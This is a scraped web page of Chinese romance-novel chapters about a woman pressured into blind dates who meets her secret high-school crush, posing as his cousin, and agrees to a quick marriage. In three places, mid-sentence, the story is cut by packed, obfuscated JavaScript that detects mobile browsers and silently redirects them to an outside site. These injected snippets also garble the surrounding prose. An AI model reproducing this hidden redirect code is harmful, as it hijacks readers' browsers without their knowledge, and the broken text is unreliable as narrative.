女人一安定下来,就会被家里人催婚,毕竟人生大事,只剩下结婚了。 闻弋也不例外,才二十八岁,就被母亲安排相亲了。 起初,母亲只是隔几个月介绍一个相亲对象,频率不高,闻弋也只当是多认识个朋友,敷衍了事。渐渐地,频率越来越高:两周一个,一周一个,最后发展到几天一个。 真的很烦。 她根本不想结婚。 她还年轻,不想那么早就进入婚姻的坟墓。 除非那个人是他。 当然,没啥可能。 他肯定还喜欢着奚午,虽然奚午已经结婚了。 上次在奚午婚礼上见到他,明显还对奚午念念不忘。 如果这辈子真的不能和他在一起,她就单身一辈子。 但是母亲不愿意,父亲被检查出来“三高”,母亲现在已经拿出这个理由来要挟她了。 可能再过几天,母亲就会拿着病历报告单来找她,逼她相亲,逼她结婚。 如她所料,母亲真拿着病历单来找她了。 闻弋那天一下班回家,就发现母亲坐在沙发上。 闻弋买完房子后给了父母一把钥匙,想着他们在自己上班时来她家也就比较方便。 之前他们不常来,现在倒是很爱来,就是为了让闻弋去相亲。 “闻弋,我今天上午给你发那那个男的信息你看了吗?” 闻弋没看,最近她非必要时刻都不会打开微信。 她知道一打开就是母亲轰炸式的消息。 还好微信没有开通已读功能,不然她都不知道会被母亲鞭尸多少次。 闻弋沉默不语,她没看,怎么会知道那些信息。 “我给你发消息怎么不看?你还是我女儿吗?你就这么对你母亲的?”母亲咄咄逼人。 “你能不能别逼我了,我说了几遍了,我不想结婚我不想结婚!我一个人过不好吗?非得让我找一个不爱的人嫁了,然后看我每天抱怨婚姻不幸的笑话吗?” “你不怕别人知道你这么大的年纪还嫁不出去耻笑你吗?” “我为什么要在意别人怎么想,你是怕别人耻笑你养的女儿嫁不出去吧?你逼我相亲逼我结婚,不就是为了维护你自己的面子吗?” “我是为你好!”母亲抬高了音量。 “我不需要这种好。”闻弋把自己的音量抬得更高。 “你太自私了!我怎么会教出你这么自私的女儿。” “没错,我就是很自私,我喜欢自己一个人生活,很自私,我不想结婚很自私,你这么嫌弃我,那你再生一个呗,把她培养成一个结婚工具,如你所愿了吧?” 最后,这场吵架以母亲沉默离开结尾,闻弋感觉母亲哭了,但她不想去安慰。 她开始怀疑自己是不是真的太冷漠太自私了。 整个夜晚她都没能入睡,她实在想不明白,为什么很多父母都觉得自己的女儿嫁不出去很丢人、会被别人耻笑呢? 为什么自己不想结婚就是自私呢? 她想了一晚上没想明白,还导致上班迟到。 白天上班时,闻弋拿出手机,打开微信和母亲的对话框。 母亲大发了99+条信息,昨天在她们大吵一架后再也没有发过。 闻弋开始觉得自己说的话是不是太伤人了。 她往上翻,看到母亲和自己女儿大吵一架的源头——相亲对象的信息。 叫程见谌。 姓程? 她想起来自己的crush,也是姓程。 她仔细看了看程见谌的信息,注意到他在盛鸣集团工作。 她依稀记得这个公司好像和她crush家有关。 万一这个人和他有关呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535091|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻弋想了很多,最后在对话框上打下一行字——“这是最后一次。” 她决定去见见这个人。 相亲时间安排在周五晚上。 为了给对方留下一个好印象,她还专门打扮了一番,穿了一条红色到膝的裙子,还有一双她不常穿的高跟鞋。 闻弋本来就好看,不化妆也好看,这次她还是化了点妆,再配上红色的裙子,显得更加明艳了。 相亲的地址在s市一家高级餐厅,是对方定的,闻弋踩着点赶到那家餐厅。 不愧是高级餐厅,装饰得很豪华。 对方真的财气大粗。 闻弋有点路痴,餐厅里有很多包间,她转了几圈,没能找到约定好的那间,她只好去找服务员。 服务员把她领到那间包间后就离开了。 她敲了敲门,一个清冷的男声从里面传出来,她把门打开了,看到了那个人。 居然是她的crush。 程覃一。 她的心脏几乎要跳出胸腔,脸上却强装镇定,平静地走到他对面坐下,仿佛不认识眼前这个人。 她走进包间,在男人面前坐下。 不过,她左思右想,觉得这就像小说里描写的和crush重逢,不过,这事不太可能会发生在她身上,她哪有这么好的运气。 程覃一这么优秀的人,怎么也落到了要相亲的地步。 她明明记得,她今天来相亲的对象的名字叫程见谌。 可是眼前这个男人和程覃一真的一模一样,万一是他有个双胞胎兄弟呢? “你就是程见谌先生吧?”她扬起得体的微笑。 对面的男人点了点头:“是。” 她的心沉了下去。果然不是他。可是怎么会这么像? 不会真是双胞胎兄弟吧? 以前怎么没听说过他和同学说他有个双胞胎兄弟? “你叫闻弋对吗?”闻弋大脑发散着,听到对面的男人的问题。 不会真是双胞胎兄弟吧? 怎么会不认识她呢? “嗯。”闻弋继续扬起得体的笑容。 闻弋仔细观察他的面容。 发现他右耳垂上有一颗痣。 她清楚地记得,程覃一右耳垂上也有一颗痣。 她记得第一次见到他时自己还夸过他的这颗痣真会长,以后会赚大钱,还会娶一个很好的老婆。 她记得当时自己的那番话直接把他的脸和耳朵夸红了。 双胞胎连长痣的地方都会一样吗? “你耳朵上这颗痣长得挺好的。” 闻弋话刚落下,就注意到男人的耳朵瞬间就红了。 “程见谌”没有说话。 闻弋看着他红透的耳朵,端起面前的的酒杯喝了一口。 结果这酒很辣,她被辣得叫了一声。 “抱歉。” “程见谌”慌忙站起来,扯了几张纸递给她。 “我没想到这酒会这么辣,我给你点杯果汁吧。” “程见谌”说完出门去找服务员。 闻弋擦了擦嘴巴。 注意到摆在她前面不久的文件袋。 那看上有一张身份证放在上面。 这是他的东西吧? 闻弋看了看门外,想着那个人肯定还要一会儿才回来,她站起来,往文件袋上一瞟。 真是身份证,而且上面写的名字是“程覃一”。 果然就是他,就说双胞胎怎么可能连痣都长得一模一样。 不过闻弋想不明白,他干嘛这么做? 他故意改名吗? 还有他刚才那眼神,明显就是不认识自己,还问她是不是闻弋,起码都做过高中同学,有那么见外吗? 难道他失忆了? 或者,他特别讨厌自己,所以故意装不认识自己。 闻弋越想越生气。 本来她见到他真以为是程覃一双胞胎兄弟,还想问问程覃一的事,结果现在这个人就是程覃一,还没认出她来。 她现在该怎么办?要不直接戳破吧?看他怎么修补这个谎言。 4. 相亲(一) 程覃一高考前本来打算打听打听暗恋对象要报考哪个学校的。 然而命运从不如人所愿。距离高考还有不到一个月,父亲突然回到奶奶家,还将他叫到书房,语气是不容置疑的命令:“我已经帮你联系了英国那边的学校,高考结束就过去。” 程覃一当场反驳。他攥紧拳头,所有的叛逆在胸腔里翻涌。可接下来的日子,班主任、年级组长,甚至校长都陆续找他谈话,说的都是同一件事,说出国对他未来发展更有利。 最让他无力招架的是,连从小把他带大的奶奶也加入了游说的行列。 “小一,出去挺好的。”奶奶握着他的手,那双布满皱纹的手曾为十岁的他擦过无数次眼泪,“你妈妈也在那边,能照顾你。” 提到母亲,程覃一沉默了。十岁那年,母亲远走异国,父亲很快在a市重组家庭,还有了个小他十一岁的弟弟。那个所谓的“家”, 他像个多余的客人。每次父亲回来,话题永远只有成绩。 “你考那么差,就是因为你字太丑了,我给你报个书法班,好好练字。”这是上一次父亲主动和他说话的内容。 现在,连最理解他的奶奶都站在父亲那边。程覃一看着奶奶花白的头发,终究没能说出拒绝的话。 他顺从地去了父亲帮他申请了伦敦大学,也参加了高考,然后在毕业典礼前匆匆飞往英国。临走前,他特意查了毕业典礼的日期,到底还是错过了。他没能看到闻弋穿着格兰芬多学院服的样子,那个她心心念念的愿望。 在伦敦的公寓里,他时常翻看高中班级的□□群。同学们热烈地讨论着各自的去向,唯独没有她的消息。 他暗恋的女孩没有发言。 他迫切地想知道女孩去哪里读大学了。 也许是京大,也许是南大。 记忆里浮现出高考前的那一幕:她趴在课桌上,小声嘟囔:“这次模拟考好难,感觉我连P大都考不上。”旁边的朋友轻声安慰着她。 那时他就坐在离她不远的地方,看着她微微鼓起的脸颊,他觉得女孩连沮丧的样子都那么可爱。 他喜欢观察她的各种小表情,她思考时咬笔头的样子,解出难题时眼睛一亮的样子,甚至被老师点名回答不出问题时,耳根悄悄泛红的样子。 她考得好吗? 要是考不好,她会哭吗? 程覃一还没怎么见过她哭的样子。 唯一一次见到她哭,还是在运动会上。 不过,像她这么傲娇的女孩,怎么可能会让别人看见她哭呢? 他迫切想知道她的成绩,她的去向。 他有她的□□,可是他不敢给她发消息。他怕她会觉得自己太爱多管闲事了。毕竟他们不熟,他们就像陌生人一样。 要是她没考好,她会不会觉得自己是在炫耀,更讨厌自己了? 他记得自己好兄弟晏子钦也有他的□□,而且她不讨厌晏子钦,甚至偶遇到晏子钦还会主动和晏子钦打招呼。 高三晏子钦和他说,他虽然表面一点也不在乎,但是私底下恨地咬牙切齿。 他不懂为什么自己会被闻弋讨厌,会被他无视。 他讨厌她的无视。 他给晏子钦发消息,让晏子钦帮帮忙,帮他问一下闻弋的高考分数和录取大学。 “闻弋?你不是讨厌她吗?怎么还主动问起她的成绩了?”晏子钦发来个偷笑的表情包。 “我把她当竞争对手,问问竞争对手的成绩都不行吗?” “你怎么不自己去问?” “哪有人自己去问竞争对手的?” “不是我说,你都出国了,以后也和她没交集了,怎么还这么关心她?” 晏子钦的话像一根针,轻轻扎在他心上。是啊,以后可能再也见不到了,问了又有什么意义?可他就是想知道,想得心口发疼。 “别废话了,你快帮我问问。” “好好好,我马上就去问。” 过了一小会儿,晏子钦给他发了一条消息,还有一个截图。 “抱歉了,兄弟,她把我删了,我也不知道怎么回事啊?高考前我还问过她物理作业,她也回复我了……” 程覃一点开图片,看到的是一个很醒目的红色感叹号。 “兄弟,这不只是被删,还是被拉黑了。” 他点开自己和闻弋的对话框,发了一个问号出去。 又是一个感叹号。 她也把程覃一拉黑了。 他重新申请好友。 “好友申请发送失败。” 这下好了,他能从哪里得知她的成绩呢? 他想起了高三下学期转来的那个女生。 她们走得很近,也许那个女生知道她的消息。 他去问姜书桐。 他记得那个女生是他堂姐姜书桐的朋友苏格异父异母的妹妹,之前那个女生转到他们班,苏格还托他表姐让他帮忙照顾一下。 那个女生果然知道。 苏格原本不想帮忙打听的,据说他和那个女生闹掰了,那个女生不理他,他后来托他妹妹苏琪打听到的。 姜书桐把从苏格那得来的消息告诉程覃一:她高考发挥超常,超了京大的分数线,去了京大的英语系。 程覃一悬着的心终于落下,还好,她考得很好。 只可惜,她没能实现自己的梦想居然选了她最讨厌的英语。 他们确实没什么缘分,他去了英国,她去了京大。 程覃一在英国读到了博士,然后做了一些投资。 程覃一父亲想让他回国到自己的公司工作,但是程覃一不愿意。他在英国认识了一个很受家里宠爱的富二代,就是高析默。他决定和高析默回国合开一个电影制作公司。 因为工作这件事,程覃一彻底和父亲闹掰。 程覃一回国没多久后,就被奶奶催婚了。 二十八岁的生日才没过多久,他就被迫去和一个奶奶很欣赏的女孩子见面。 十年过去了,他还是爱着那个女孩。 他不愿意去相亲,但是又不想辜负奶奶的心意。奶奶是对他最好的人了。 他陷入两难:顺从奶奶,意味着要和一个不爱的人共度余生,这对谁都不公平;拒绝奶奶,又怕伤了老人的心。 他开始逃避。起初是谎称工作忙推掉见面,后来干脆玩消失。谎言被拆穿后,他和奶奶的关系降到冰点。 搬进新办公室的第二天,他遇见了他喜欢了很久的人。 却从高析默那得知,她也被家里催婚。 那天晚上,他把奶奶的微信从黑名单里放出来,翻看着奶奶发来的密密麻麻的相亲信息。 奶奶在他去英国后,就很喜欢出去找公园里总爱聚在一起的同龄人唠嗑,结识了很多人。奶奶给他推的好多女孩子的信息,有好多都是那些人的女儿或孙女、外孙女。 反正她家就在s市,父母住的地方离奶奶常去的公园很近。 他们以前能在同一个青少年宫里学习书法,就是因为家都在附近。 说不定,奶奶还认识她母亲。 程覃一边翻着奶奶给他发的信息,边在想怎么给奶奶解释这件事。 不料,他在奶奶给他发的信息里,看到了他暗恋对象的名字: “闻弋 京大英语系本科生 英国爱丁堡大学硕士 汇文集团的笔译工作人员。 有房有车有存款。” 他的呼吸一滞,手指颤抖着继续往下翻: “见面位置我给你订好了,在你爸管的那家餐厅,周五晚上六点见面。” 他爸什么时候管餐厅了?餐厅不是他大伯在管理吗? …… “发错了,这是给你表哥推荐的,你就当没看见。” 居然是给程见谌发的,为什么不给他推荐呢? 难道他们是真没缘分吗? 程覃一决定挖墙角,他要顶替他表哥去见她。 他先是打电话给程见谌探探风口。 “你要想去就去呗,我也不想相亲,你去了就把以后奶奶安排给我见面的都去见了……” 程覃一二话不说就同意了,反正只要见到她就行,要是她同意了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535092|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就马上结婚。 只要他结婚了,一切都好说。 “你能不能帮我问问奶奶,不要说是我想问的,不要透露我名字,就是问一下那个女孩会不会去?” “怎么了?那个女孩你认识啊?” “拜托了表哥,这对我很重要,她是我喜欢了好久的人,帮帮我。” “行,我马上去问问……” 表哥挂了电话,差不多等到了晚上,他才打电话过来。 “我问了,人家原本不同意的,结果刚才同意了,你后天早早去等吧……” “你没透露我信息吧?” “怎么可能?奶奶还以为我开窍了呢?人家姑娘也是看我的信息……” 程覃一挂了电话后,开始考虑见面穿什么。 十年来最正规的一次见面,而且还是只有他们俩,一定穿得好看合适,给她留下好印象。。 程覃一还考虑到她看的是程见谌的信息,而且她还那么讨厌自己,干脆就承认自己就是程见谌,除非她认出自己来,叫了自己的本名,他再承认自己是程覃一。 他激动地跑到衣帽间,开始挑起见面要穿的衣服。 一套深灰色西装太正式,像是要去谈生意;一件休闲卫衣又太随意,显得不够重视。 挑了快几个小时,也没选出觉得闻弋会喜欢的。 他决定还是明天去商场看看。 等待见面的那两天,时间仿佛被无限拉长。程覃一觉得每一分钟都格外难熬。 周五下午四点,他提前两个小时就到了餐厅包间。服务生送来茶水,他打开电脑处理工作,却一个字也看不进去。手指无意识地敲着桌面,目光频频望向门口。 很焦急。 他担心她会突然改变主意。 终于,她还是来了,迟到了十分钟。 她穿着一条红色连衣裙,衬得肌肤胜雪。微微卷曲的长发披在肩上,脸上化了淡妆,比记忆中更加明艳动人。这么漂亮的人,迟到十分钟又算得了什么? “你是程见谌先生吗?”她开口问道,声音清澈悦耳。 程覃一心一下子就碎了。 她居然没认出来他,他没有叫他的名字,她叫的是程见谌的名字。 他怕她以为自己别有用心,就应下来了。 他不甘心。 既然已经选择了表哥的身份,那就再装下去吧。 他也问了一句:“你是闻弋对吗?” 女孩点了点头。 他感觉闻弋炙热的目光,好像在审视什么似的。 对面的女孩突然对他说:“你耳朵上这颗痣长得挺好的。” 她指了指程覃一的右耳。 程覃一感觉自己的耳朵一下子变得火辣辣的。 程覃一记得,这是他们以前第一次见面闻弋对他说的话。 那时候他们被书法老师安排在前后桌坐,闻弋写毛笔字墨水用得很快,还没到半节课,她就用完了。 程覃一那时候不喜欢学写毛笔字,他没写几个字,盘里的墨水还是很满。 他前面的那个女孩转过来找他借墨水,他没抬头看她,摆了摆手表示让她直接端过去。 女孩观摩着他的长相,突然对他说:“你右边这只耳朵上这颗痣长得挺好的。” 他抬起头来看眼前这个奇怪的女孩。 女孩继续说:“算命书上说,要是男孩右耳垂上长痣,就证明这个男孩以后会赚很多钱,而且会有一个很好的老婆,很专一。” 那时程覃一才不信呢?但是他的耳朵还是不争气地红了。 “你耳朵好红,是害羞了吗?” 现在坐在他面前的闻弋,会想起那些事吗? 她会不会在下一秒也说:“你的耳朵好红。” 但是闻弋没有说话,反而是被她拿起来要喝的酒辣到了。 程覃一慌忙站起来,他向闻弋道歉,赶紧出去找服务员重新订一杯果汁给她。 这酒不是他订的,是程见谌订的,他怎么和她解释呢? 服务员把果汁端给他,他端着果汁忧心忡忡地进了包间。 5. 闪婚(弋) 程覃一端着果汁推门而入,橙黄色的液体在玻璃杯中轻轻晃动。他走得很慢,动作谨慎。 看着他这副小心翼翼的模样,闻弋的嘴角不受控制地上扬。她赶紧用袖子掩住嘴,生怕被他发现自己在偷笑。 谁能想到,那个曾经在走廊里撞见轻描淡写朝她投去冰冷目光的程覃一,如今竟会为她亲自端茶送水。这画面要是让高中时的同学们看见,怕是没人敢信。 “谢谢。”闻弋接过橙汁,大口喝下,许是喝得太急,橙汁险些从杯沿溢出。 程覃一眼疾手快地递来纸巾,动作流畅得仿佛早已预料到这一幕。闻弋强忍着笑意,眼前这个男人,真的和记忆中那个程覃一判若两人。 但她必须忍住,绝不能泄露半点心思。她接过纸巾,慢条斯理地擦拭嘴角,每一个动作都刻意放慢,然后将纸团精准地投进桌下的垃圾桶。 “实在麻烦你了。”她笑得眉眼弯弯,心里却开始盘算一个小计划,“既然我们都坐在这里了,不如做个详细的自我介绍吧?要完整一点的。” “好。”程覃一正襟危坐,喉结不自觉地滚动了一下,“我是程见谌,目前和朋友合伙经营一家电影制作公司。” “嗯?”闻弋故作疑惑地歪了歪头,“这和我之前看到的信息不太一样呢。我记得资料上写的是在盛鸣集团工作?” “哦……你看的应该是我表哥的资料。”程覃一神色自若,“我奶奶年纪大了,有时候会犯糊涂发错信息,请你谅解。” 闻弋在心里冷笑,这人撒起谎来面不改色,骗她有什么意义? “确实,老人家年纪大了,身体要紧。”她顺着他的话往下说,语气体贴,“我父亲最近也检查出不少毛病,真是让人担心。” “是啊,其实这次,我本来不想来相亲的。”程覃一的声音低了几分。 “哦?”闻弋端起橙汁,又抿了一口,借着杯子的遮掩仔细观察他的表情,“那你怎么还是来了?” “这次也是迫不得已。”他轻轻叹了口气,“我刚才说了,我奶奶身体不太好……” 闻弋差点笑出声,这不是她惯用的借口吗?怎么他也用上了? “程见谌先生,”她打断他的解释,声音甜甜的,“我想问你一个问题。你是不是改过名字?刚才我不小心碰掉了你的文件袋,看到身份证上的名字是‘程覃(qín)一’。” 她故意念错那个字,像看戏一样等着看他如何辩解。 程覃一明显哽住了,像是被什么东西噎住了一样。闻弋眨着大眼睛,试图从他眼中读出真实想法,可这个男人太擅长伪装,那双深邃的眼眸里看不出什么情绪。 “实在抱歉,闻小姐。”他停顿片刻,像是下定了决心,“我叫程覃(tán)一。我是替我表哥来相亲的,他最近太忙了。奶奶说你是个很好的女孩,他不想辜负奶奶的心意,只好让我代劳。” 真是这样吗?闻弋在心里冷哼。这套说辞编得倒是天衣无缝。 “所以你的本名是程覃一?”她故意把“覃”字念得特别重,像是在提醒他什么。 程覃一点头,手指开始摩挲着酒杯。 他紧张了?闻弋还是第一次见程覃一紧张的样子。既然这么紧张,为什么要骗她?难道坦诚相待就这么难吗? “好的,程覃一先生。”她笑得意味深长,“既然误会解除了,我们就继续流程吧。虽然你是替别人来的,估计也没有结婚的打算,但这次我还是想认真对待。等流程走完了,麻烦你转告你表哥,我很想见见他。” 她边说边观察他的表情。程覃一看起来波澜不惊,仿佛事不关己。 沉默在两人之间蔓延,像是过了很久,又像是只有一瞬,他终于开口:“我这次也是很认真地在准备。如果你觉得我还不错,其实我们可以试试。说实话,一直被家里催婚,挺影响生活的。” 闻弋内心一阵狂喜。他这话的意思,是想和她试试? 程覃一的这句话,瞬间把她想要戏弄他的念头赶走了。看,她还是这样,只要程覃一给她一点甜头,她就会忘记所有不快,忘记那些被他冷眼相待的日子。 她真是个无可救药的恋爱脑! “听程先生的意思,是想和我试试?”话一出口,闻弋就后悔了。万一是她自作多情呢?他会不会觉得她太自恋?会不会更讨厌她? “确实有这个想法。”程覃一的表情依然冷淡。 他该不会在装吧?闻弋忍不住怀疑。 “可是,你都还不了解我。”她小声说。 “我们可以现在就开始了解。”他的回答干脆利落。 他真有这么想试试吗?闻弋的心跳得更快了。 “那行,我详细说说我家里的情况。”闻弋开始滔滔不绝,像是要把积攒了多年的话一口气说完,“我爸爸性格温和,很听我妈的话。我妈妈脾气比较急,我中和了他们俩的性格,时而温和时而暴躁。如果我们结婚了,可千万不要惹我生气……” 她一口气说了很多,从父母的相处模式到自己的生活习惯,连水都顾不上喝。说到最后,她自己都有些惊讶,原来她有这么多的心里话想要告诉他。 “好了,这就是我家的情况。该你了。”她终于停下来,期待地看着他。 程覃一沉默了片刻,像是在组织语言:“……我父母离婚了,母亲在国外不会回来,所以不用担心婆媳问题。我父亲不管我,我自己成立了公司,和他的资产没有关系,你也不用担心争夺家产。我是奶奶带大的,和她比较亲近。但刚才也说了,我奶奶知道你,也很喜欢你,所以你也不用担心她会对你不满意。” 闻弋听完,心里莫名一酸。没想到程覃一的家庭关系这么简单,却也这么复杂。父母离婚,两人都不要他……她突然觉得他有点可怜。那个曾经让她以为很讨厌她的少年,原来也有着不为人知的伤痛。 也许是共情能力太强,她的眼眶微微湿润。 “挺好的,不用处理复杂的家庭关系,对我这种社恐来说很合适。”她努力让声音听起来轻松愉快。 “所以,你现在什么想法?”程覃一往前倾了倾身子,离她更近了,近到她能闻到他身上淡淡的香气,很熟悉的味道,“如果你也觉得合适,我们可以先把证领了。” 闻弋愣住了。她没想到他会直接提领证。这速度,看来是真想结婚了。可他们才重逢不到两个小时,这进展是不是太快了? Crush发出的邀请,让她心跳加速,不好意思拒绝。但她还是要再试探一下,他是不是真的这么想结婚。 因为这个小心思,她开始变得扭捏,手指不自觉地卷着发梢:“领证?这也太快了吧。” “一点也不快!”他的语气突然急切起来,“你想,如果我们先把证领了,家里人就不会再逼我们相亲了。而且,结婚只是个形式,如果你婚后还想玩,我也不会拦你……” “那行吧,我们什么时候领证?”闻弋打断了他关于闪婚好处的长篇大论。这一刻,冲动战胜了理智,既然这是她暗恋了十年的人,既然他主动提出了这个疯狂的建议,她为什么不赌一次? 程覃一明显愣住了,眼睛微微睁大。他大概没想到她会这么爽快地答应。 该不会刚才那些话都是在试探她吧?闻弋的心提到了嗓子眼。如果他反悔,她一定会认为他是在报复她刚才拆穿他的谎言。 他低头看了眼手机,又抬起头,眉头微蹙,似乎在思考什么。闻弋屏住呼吸,等着他的回答。 “今天周五,民政局已经下班了。”他终于开口,声音里带着一丝不易察觉的紧张,“周六周日也不开门,要不我们周一下午去?” “行,就这么定了。”闻弋故作轻松地说,心里却早已炸开了烟花。 谈完结婚的事后,两人突然无话可说了。他们面面相觑,又各自低下头,默默吃着还没吃完的饭。空气中弥漫着一种微妙的尴尬,却又夹杂着说不清的期待。 饭后,程覃一提出送闻弋回家。既然是接近他的好机会,说不定还能邀他上楼坐坐。闻弋二话不说就答应了。 程覃一把她送到楼下,闻弋装作自然地邀请他:“你要不要上去坐坐?” “我?可以吗?”程覃一指了指自己,表情有些意外。 “不然还能是谁?”闻弋强装镇定,“你现在也算是我未婚夫了吧,怎么还不愿意接受未婚妻的邀请?” “未婚夫”这三个字她说得自然,其实心里早已害羞得不行。她能感觉到自己的脸颊在发烫,幸好夜色够深,应该看不出来。 程覃一没有说话。该不会被她尬住了吧?闻弋正想着要不要说点什么缓解气氛,他却突然笑了。 “行,谢谢你的邀请。”程覃一下车,走到她身边,示意她带路。 闻弋开始后悔了,真的太尴尬了。他们一前一后地走着,全程一言不发。早知道这么尴尬,就不叫他上来了。待会儿在家里,说不定会更尴尬。 把程覃一请进家后,闻弋给他泡了茶。聊天的话题基本都是程覃一找的,闻弋已经不知道该说什么了,全程像个机器人,他问什么,她答什么。她甚至能感觉到自己的回答有多敷衍,"嗯"、"挺好的"、"没错",简直像个复读机。 最后程覃一准备告辞。她把他送到门口,心里既松了一口气,又有些莫名的失落。 他突然转过身,很认真地问她:“你后天会后悔和我闪婚吗?” 闻弋愣住了。他怎么会问这种问题? 她当然不会后悔。她只恨明天民政局不开门。她倒觉得,程覃一后悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535093|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的几率比她大得多。 “怎么会呢?”她努力让声音听起来轻松,“我倒觉得你会后悔。” “我肯定不会后悔。”他踏出门,眼睛格外明亮,“周一下午下班后,我来接你去民政局。” “万一老板拖时间,去晚了工作人员下班呢?” “应该不会吧?”他瞪大眼睛,样子无辜极了。 “怎么不可能?”闻弋忍不住笑了,“我周一早上给主管请个假,九点来我家楼下接我。” “真的?你不要睡过头!”他的语气突然严肃起来。 “怎么可能?我这么自律守时的人怎么会睡过头!” …… 周一早上,闻弋破天荒地早早起床。昨晚她激动得辗转难眠,脑海里不断回放着他们重逢后的每一个细节,直到凌晨两点才睡着。 她只睡了四个小时,六点就醒了。但精神状态出奇地好,没有黑眼圈,也没有疲惫感,整个人像是被注入了无限活力 闻弋本想盛装打扮,又担心程覃一觉得她处心积虑、蓄谋已久。最后,她只化了一个清透的淡妆,让整个人看起来精神又不失自然。 她选了一条裙边带蕾丝的小白裙,配了一双黑皮鞋,还有一个白底碎花的挎包。这条裙子是她昨天逛了一整天商场才买到的,花了不少钱,但她觉得值得。 平时她从不穿这种“小白花”风格的衣服,但她想,程覃一应该会喜欢吧,毕竟他的白月光就是这种类型。或许这样的装扮,能让他更容易接受自己。 想着想着,她的眼泪不自觉地滑落。看着镜中花掉的妆容,她无奈地重新补妆。为什么要哭呢?这明明是她梦寐以求的时刻。 一切收拾妥当,才七点半。她把证件放进挎包,提前下楼,她要让他知道,她可不是不守信用爱睡懒觉的人。 刚到楼下,她拿出手机,点开和程覃一的微信对话框。他们的聊天记录还停留在“我通过了你的朋友验证请求,现在我们可以开始聊天了”。 她正想发消息告诉他自己已经在楼下等了,却听到不远处传来喇叭声。 闻弋抬头,看见一辆眼熟的车停在附近。一个男人从车上下来。 闻弋有点轻微近视,平时不爱戴眼镜。等男人走近了,她才看清是谁。 是程覃一。他穿着一身熨帖的深灰色西装,头发精心打理过,整个人看起来神采奕奕。 “这么早?”他笑着对她说。 “你也很早啊。”她回以微笑,心里却在惊叹:这个男人居然来得这么早。就这么想结婚吗? 如果结婚对象不是她,是别的女孩,他也会这样吗? “我们先去民政局吧。” 到了民政局,他们才发现八点半才开门,而现在才七点五十。两人相视一笑,尴尬在空气中弥漫。 “要不我们先去吃个早饭?”程覃一建议。 他说自己吃过了,就坐在她对面,看着她狼吞虎咽。等她吃完,才八点十分。 他们回到车里,偶尔聊上几句。都快结婚了,怎么还这么尴尬?当然了,这是闪婚。谁能和一个几乎不熟悉的高中crush重逢一次就结婚呢? 闻弋在手机上疯狂搜索:“要和暗恋的人结婚了,有什么话题可以增进感情?”“怎么和男孩子聊天?”…… 这尴尬的二十分钟终于过去了,民政局开门了。 闻弋和程覃一走进去。“你们准备照片了吗?没有就先去拍。”两人乖乖听从工作人员的安排。 “两人靠近一点。”“女孩头往男孩那边歪一下。”…… 摄影师按下快门的瞬间,闻弋感觉到程覃一的手轻轻搭在了她的腰间。那个触碰很轻,却让她整个人都僵住了。 没过多久,结婚证就办好了。闻弋拿着一本,程覃一拿着一本。 他们居然真的结婚了。 闻弋看着手中的红本本,依然觉得像在做梦。照片上,他们靠得很近,脸上都带着恰到好处的微笑,看起来就像一对真正的情侣。 “接下来还有什么安排吗?”程覃一问她。 她怎么会知道?她也是第一次结婚啊。 “我们父母还没见面呢。” “哦,差点忘了这事。”他像是突然想起什么,“还有同居的事。” “同居?” 闻弋想会不会太快了? “当然了,我们现在是合法夫妻了,同居是理所应当的。”他的语气理所当然,“你有时间的话,我们可以去看看婚房。” 这一切太不真实了。不真实到她怀疑,从十五岁在青少年宫书法班初遇,到二十五岁在奚午婚礼上重逢,这十年间与他相关的点点滴滴,是不是都是她的一场梦。 而现在,梦醒了,她手中多了一本结婚证。 6. 闪婚(一) 程覃一小心翼翼地把果汁端进去。 女孩正托着左脸,似乎在思考什么。 看到他,她还用袖子挡了挡嘴,看起来好可爱。 她接过果汁,喝了一口,差点呛到了。 总是这么急急忙忙的,还是和以前一样。 她用程覃一递给她的纸擦好有果汁的嘴后,变得一本正经起来。 “实在麻烦你了,我们现在先来完整版的自我介绍一下吧,详细一点……” 她微笑着,笑得很甜,程覃一之前很少见过的笑容,这样的笑从来都没有给过他。 也许是被这样的笑容冲昏了脑袋,程覃一除了名字说的是程见谌的,程见谌其他的信息他都忘了,脑子里只剩下自己的信息,他头脑一昏,把这些信息说出来了。 果然,她还是发现了自己信息的不对劲。 他只好说是奶奶年纪大了把他和程见谌的信息搞混发错了。 她看起来好像没有什么疑惑。 结果下一段话就让程覃一不知道该怎么解释。 “程见谌先生,我想问你一个问题,你是不是改过名字?我刚才丢垃圾时,不小心碰掉了你的文件袋,我看见了你的身份证,身份证上面的名字是叫‘程覃(qín)一’。” 他瞥了一眼桌子上摆着的文件袋。 自己怎么这么健忘,早知道就放包里了。 不过比起被发现,更让他心痛的是,她好像真不认识自己了。 